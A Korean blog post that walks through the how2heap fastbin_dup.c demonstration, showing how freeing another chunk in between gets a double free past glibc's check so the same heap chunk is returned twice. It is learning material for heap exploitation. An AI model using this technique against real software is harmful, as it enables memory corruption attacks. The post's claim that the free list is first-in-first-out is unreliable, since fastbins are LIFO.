2025. 5. 11. 14:11ㆍHacking/Pwnable
원본 문서 : https://github.com/shellphish/how2heap/tree/master
GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.
A repository for learning various heap exploitation techniques. - shellphish/how2heap
github.com
fastbin_dup.c
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
원문 코드는 위와 같고
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
-> 이 파일은 fastbin 영역에서 발생하는 double free 취약점을 보여주는 예제입니다.
-> stdout 버퍼링을 비활성화하여 printf() 출력이 바로 나오도록 설정.
- 크기 8바이트(실제는 정렬되어 0x20 크기 할당)의 chunk 8개 할당함
=> chunk들은 tcache에 저장 가능한 크기이므로 일반적으로 tcache가 먼저 사용됨.
앞에서 할당한 8개 중 7개만 free => 결과적으로 tcache에 7개가 채워지는데 이 크기 bin은 더 이상 tcache에 못 들어가고 8번째 chunk(ptrs[7])는 아직 살아있고, ptrs[0]~ptrs[6]은 tcache로 들어감
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
=> fastbin 구조의 특성을 이용하며, glibc의 double-free 보호 메커니즘을 우회하는 의도
우선 버퍼 할당을 함
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
- calloc(1, 8) = malloc(8) + memset(0)
- 총 8바이트짜리 메모리 블럭 3개 할당
=> 이 크기는 glibc에서 tcache 또는 fastbin 대상으로 들어감(glibc 2.27+에서는 기본적으로 tcache 우선)
printf("1st calloc(1, 8): %p\n", a);
포인터 주소를 확인한다. 버그 재현시 주소 비교를 쉽게 하기 위함.
free(a);
-> a는 처음으로 free 되었으므로 현재 free list(예: tcache또는 fastbin)의 맨 앞에 위치함
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
-> glibc의 double-free 보호 기능은 같은 주소가 free list의 맨 위에 있을 때 다시 free()하면 crash 또는 abort를 발생시킴
=> 바로 free(a)를 한 번 더 하면 glibc가 감지해서 종료됨
보호 우회를 시행함
free(b);
- b를 free함으로써 free list의 맨 위(head)를 변경함
- a는 free list에서 두 번째 위치가 됨
free(a);
- glibc가 감지를 못 하고 double-free가 허용됨
=> 취약점 발생 : a가 free list에 2번 삽입됨
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
하나씩 보면,
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
- %p 순서 : a, b, a, a
=> 현재 free list의 순서는 [a, b, a](동일한 주소 a가 리스트 내에 두 번 존재함)
- double free가 발생했을 때 나타나는 비정상적인 상태임
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
- malloc() 3번 -> free list에서 3개 꺼내옴
malloc()은 순서대로 값을 꺼내온다(heap 구조를 떠올려보자 선입선출 구조임)
첫 번째 malloc() -> a 반환
두 번째 malloc() -> b 반환
세 번째 malloc() -> 다시 a를 반환함
=> 동일한 주소 a가 두 번 할당되었으니 heap corruption이 발생함
출력문에 따라 출력하면 아래와 같은 출력이 나올 수 있음
1st calloc(1, 8): 0x555555559260
2nd calloc(1, 8): 0x555555559280
3rd calloc(1, 8): 0x555555559260 ← 다시 a!
주소 a가 이렇게 두 번 나온다.
assert(a == c);
- 이건 보안 취약점 검증용 assert로 실제로 a==c가 성립하면 same chunk가 두 번 할당된 상태이고, a를 free후 c를 쓰면 use-after-free가 됨 또는 둘 중 하나에 포인터를 덮어쓰면 -> arbitrary write가 됨